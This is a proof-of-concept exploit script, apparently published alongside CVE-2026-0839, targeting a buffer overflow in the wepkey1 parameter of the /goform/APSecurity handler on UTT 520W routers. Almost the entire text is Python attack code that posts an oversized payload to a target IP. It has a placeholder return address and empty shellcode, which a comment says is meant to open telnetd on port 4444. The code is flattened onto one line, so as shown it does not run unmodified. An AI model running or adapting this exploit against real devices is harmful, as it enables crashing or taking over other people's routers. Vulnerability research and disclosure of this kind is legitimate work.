CVE-2026-0839 UTT路由器APSecurity缓冲区溢出漏洞

# CVE-2026-0839 PoC - UTT Router APSecurity Buffer Overflow # Target: UTT 进取 520W firmware 1.7.7-180627 # Module: /goform/APSecurity import requests import sys def exploit_utt_router(target_ip, target_port=80): """ Exploit buffer overflow in APSecurity strcpy function via wepkey1 parameter """ url = f"http://{target_ip}:{target_port}/goform/APSecurity" # Buffer overflow payload - 512 bytes to overflow the buffer # Adjust offset based on actual firmware version padding = b'A' * 508 # Overwrite return address with our controlled address # In real exploit, replace with actual ROP gadget addresses rop_chain = b'\x42\x42\x42\x42' # Placeholder for ROP gadget # Shellcode for MIPS architecture (execute telnetd on port 4444) shellcode = b'' payload = padding + rop_chain + shellcode # Send malicious wepkey1 parameter data = { 'wepkey1': payload.decode('latin-1'), 'wepkey2': 'test', 'security_mode': 'wep' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent. Check if router is compromised.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_utt_router(target, port)